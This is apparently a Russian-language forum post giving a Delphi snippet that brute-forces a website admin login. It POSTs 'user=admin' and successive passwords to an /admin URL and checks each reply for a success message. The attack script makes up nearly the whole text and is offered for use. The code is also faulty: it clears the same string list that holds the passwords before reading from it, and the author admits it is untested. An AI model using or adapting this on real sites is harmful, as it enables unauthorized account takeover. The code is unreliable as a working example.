Перебор паролей делается примерно так:  var 
 data:tstringlist;//в стринг лист предварительно загрузить список паролей 
 i: integer;//счетчик 
 result:string;//ответ от сервера 
 begin 
 for i:=0 to data.count-1 do//цикл с счетчиком 
 begin 
 data.clear;//очищаем стринглист 
 Data.Add('user=admin');//добаляем параметры 
 Data.Add('pass='+data.Strings[i]);//перебераем пароли 
 result:=IdHttp1.Post('http://www.my-site.com/admin',data);// делаем запрос 
 if Pos('Вы успешно вошли',result)>0 then// если в ответе есть нужная нам фраза значит пароь у нас 
 MessageBox(0, pchar('Пароль подобран вот он: '+data.Strings[i]), 'ура!!!', MB_ICONINFORMATION)//выводим подобраный пароль 
 else 
 sleep(5);//если незалогинились спим 
 end; 
 MessageBox(0, 'пароль не был подобран ', 'Ошибка!', MB_ICONWARNING);//сообщение в случае неудачи подбора 
 end; 
 Нетестил на работоспособность но должно работать, правда тормизить будет нужно в поток запихнуть.